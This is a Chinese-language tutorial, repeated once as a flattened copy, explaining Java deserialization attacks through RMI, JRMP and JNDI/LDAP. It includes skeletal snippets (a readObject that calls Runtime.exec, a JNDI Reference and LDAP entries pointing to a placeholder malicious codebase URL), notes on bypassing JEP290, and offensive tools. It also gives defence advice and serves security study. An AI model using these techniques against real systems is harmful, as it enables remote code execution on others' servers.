Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解
字数 1929 2025-08-15 21:32:50

Java反序列化漏洞:RMI、JRMP与JNDI利用方式详解

前言

Java反序列化漏洞是Java Web安全中的重要议题,尤其是涉及RMI和JNDI概念时更为复杂。本文将详细解析RMI客户端、服务端及rmiregistry之间的关系,以及三者之间的多种攻击方式。

RPC框架原理简介

所有高级编程概念都建立在基础代码之上。分布式概念通过Java的socket、序列化、反序列化和反射实现:

  1. 客户端生成代理对象
  2. 通过Socket与服务端建立连接
  3. 将方法调用和参数序列化后传输
  4. 服务端反序列化数据并通过反射执行方法
  5. 返回执行结果给客户端

RMI架构与流程

核心组件

  1. 客户端:远程方法调用者
  2. 服务端:远程方法提供者
  3. Registry(注册中心):独立程序,位于JDK的bin/rmiregistry

注册中心启动

public static Registry createRegistry(int port) throws RemoteException {
    return new RegistryImpl(port);
}

RegistryImpl关键属性:

  • bindings:Hashtable存储注册信息
  • registryFilter:JDK 1.8.121+引入的反序列化白名单校验

白名单机制

private static Status registryFilter(FilterInfo var0) {
    // 白名单包含以下类型:
    // String, Number, Remote, Proxy, UnicastRef, 
    // RMIClientSocketFactory, RMIServerSocketFactory, 
    // ActivationID, UID
    // 其他类型将被拒绝
}

RMI通信流程分析

服务端注册流程

  1. 定义远程接口:
public interface IHello extends Remote {
    String sayHello() throws RemoteException;
}
  1. 实现接口:
public class HelloImpl extends UnicastRemoteObject implements IHello {
    // 实现方法...
}
  1. 注册到Registry:
LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",new HelloImpl());

客户端调用流程

IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
hello.sayHello();

核心通信过程

  1. Stub(存根):客户端代理,知道服务端地址和端口
  2. Skeleton(骨架):服务端处理请求的组件
  3. 序列化/反序列化点:多处存在潜在攻击面

攻击面分析

1. 客户端攻击服务端

利用点:服务端反序列化客户端传递的参数

攻击步骤

  1. 服务端方法接受可序列化参数
  2. 客户端构造恶意参数对象(继承合法参数类)
  3. 触发服务端反序列化执行恶意代码

示例

// 恶意类
public class Weakness extends Person implements Serializable {
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("恶意命令");
    }
}

2. 服务端攻击客户端

利用点:客户端反序列化服务端返回的结果

攻击方式A:通过返回值

  1. 修改服务端返回恶意对象
  2. 客户端反序列化时触发漏洞

攻击方式B:JNDI Reference攻击(JDK 8u121前有效)

  1. 服务端绑定Reference对象:
Reference refObj = new Reference("恶意类", "恶意类工厂", "http://恶意地址/");
registry.bind("refObj", new ReferenceWrapper(refObj));
  1. 客户端lookup时加载远程恶意类

JDK防御机制

  • 8u121+: com.sun.jndi.rmi.object.trustURLCodebase=false
  • 8u191+: 额外检查com.sun.jndi.ldap.object.trustURLCodebase

3. 服务端攻击Registry

利用点:Registry反序列化服务端bind时传递的Proxy对象

攻击步骤

  1. 构造恶意Proxy对象
  2. 在bind时传递给Registry
  3. Registry反序列化时触发漏洞

限制

  • JDK 8u121+的白名单机制会阻止非白名单类

4. Registry攻击客户端

利用点:客户端反序列化Registry返回的Stub

5. 客户端攻击Registry

利用点:Registry反序列化客户端lookup请求

JNDI攻击向量

LDAP攻击向量

攻击流程

  1. 搭建恶意LDAP服务
  2. 设置条目包含javaCodebase等属性
  3. 客户端查询时加载远程恶意类

示例代码

// LDAP服务端设置恶意条目
Attribute mod1 = new BasicAttribute("objectClass", "top");
mod1.add("javaNamingReference");
Attribute mod2 = new BasicAttribute("javaCodebase", "http://恶意地址/");
// ...其他属性设置

绕过防御机制

JEP290绕过思路

  1. 利用白名单内类:如UnicastRef
  2. DGC(分布式垃圾回收)攻击:通过DGC通信绕过registryFilter
  3. 二次反序列化:通过白名单类触发二次反序列化

总结

攻击矩阵

攻击方向 利用点 适用版本 限制条件
客户端→服务端 参数反序列化 所有版本 需服务端接受参数
服务端→客户端 返回值反序列化 所有版本 需客户端处理返回值
服务端→Registry bind数据反序列化 <8u121 白名单限制
Registry→客户端 lookup返回数据 <8u121 白名单限制
JNDI Reference 远程类加载 <8u121 trustURLCodebase限制
JNDI LDAP 远程类加载 <8u191 多重trustURLCodebase限制

防御建议

  1. 升级JDK到最新版本
  2. 设置trustURLCodebase=false
  3. 限制反序列化类白名单
  4. 使用安全管理器

参考工具

  1. ysoserial:生成反序列化payload
  2. marshalsec:启动恶意RMI/LDAP服务
  3. JRMPListener:监听JRMP请求

通过深入理解RMI/JNDI的工作原理和攻击面,可以更好地防御Java反序列化漏洞,同时也能在授权测试中有效发现这类安全问题。

Java反序列化漏洞:RMI、JRMP与JNDI利用方式详解 前言 Java反序列化漏洞是Java Web安全中的重要议题,尤其是涉及RMI和JNDI概念时更为复杂。本文将详细解析RMI客户端、服务端及rmiregistry之间的关系,以及三者之间的多种攻击方式。 RPC框架原理简介 所有高级编程概念都建立在基础代码之上。分布式概念通过Java的socket、序列化、反序列化和反射实现: 客户端生成代理对象 通过Socket与服务端建立连接 将方法调用和参数序列化后传输 服务端反序列化数据并通过反射执行方法 返回执行结果给客户端 RMI架构与流程 核心组件 客户端 :远程方法调用者 服务端 :远程方法提供者 Registry(注册中心) :独立程序,位于JDK的bin/rmiregistry 注册中心启动 RegistryImpl关键属性: bindings :Hashtable存储注册信息 registryFilter :JDK 1.8.121+引入的反序列化白名单校验 白名单机制 RMI通信流程分析 服务端注册流程 定义远程接口: 实现接口: 注册到Registry: 客户端调用流程 核心通信过程 Stub(存根) :客户端代理,知道服务端地址和端口 Skeleton(骨架) :服务端处理请求的组件 序列化/反序列化点 :多处存在潜在攻击面 攻击面分析 1. 客户端攻击服务端 利用点 :服务端反序列化客户端传递的参数 攻击步骤 : 服务端方法接受可序列化参数 客户端构造恶意参数对象(继承合法参数类) 触发服务端反序列化执行恶意代码 示例 : 2. 服务端攻击客户端 利用点 :客户端反序列化服务端返回的结果 攻击方式A :通过返回值 修改服务端返回恶意对象 客户端反序列化时触发漏洞 攻击方式B :JNDI Reference攻击(JDK 8u121前有效) 服务端绑定Reference对象: 客户端lookup时加载远程恶意类 JDK防御机制 : 8u121+: com.sun.jndi.rmi.object.trustURLCodebase=false 8u191+: 额外检查 com.sun.jndi.ldap.object.trustURLCodebase 3. 服务端攻击Registry 利用点 :Registry反序列化服务端bind时传递的Proxy对象 攻击步骤 : 构造恶意Proxy对象 在bind时传递给Registry Registry反序列化时触发漏洞 限制 : JDK 8u121+的白名单机制会阻止非白名单类 4. Registry攻击客户端 利用点 :客户端反序列化Registry返回的Stub 5. 客户端攻击Registry 利用点 :Registry反序列化客户端lookup请求 JNDI攻击向量 LDAP攻击向量 攻击流程 : 搭建恶意LDAP服务 设置条目包含javaCodebase等属性 客户端查询时加载远程恶意类 示例代码 : 绕过防御机制 JEP290绕过思路 利用白名单内类 :如UnicastRef DGC(分布式垃圾回收)攻击 :通过DGC通信绕过registryFilter 二次反序列化 :通过白名单类触发二次反序列化 总结 攻击矩阵 | 攻击方向 | 利用点 | 适用版本 | 限制条件 | |---------|--------|---------|---------| | 客户端→服务端 | 参数反序列化 | 所有版本 | 需服务端接受参数 | | 服务端→客户端 | 返回值反序列化 | 所有版本 | 需客户端处理返回值 | | 服务端→Registry | bind数据反序列化 | <8u121 | 白名单限制 | | Registry→客户端 | lookup返回数据 | <8u121 | 白名单限制 | | JNDI Reference | 远程类加载 | <8u121 | trustURLCodebase限制 | | JNDI LDAP | 远程类加载 | <8u191 | 多重trustURLCodebase限制 | 防御建议 升级JDK到最新版本 设置 trustURLCodebase=false 限制反序列化类白名单 使用安全管理器 参考工具 ysoserial:生成反序列化payload marshalsec:启动恶意RMI/LDAP服务 JRMPListener:监听JRMP请求 通过深入理解RMI/JNDI的工作原理和攻击面,可以更好地防御Java反序列化漏洞,同时也能在授权测试中有效发现这类安全问题。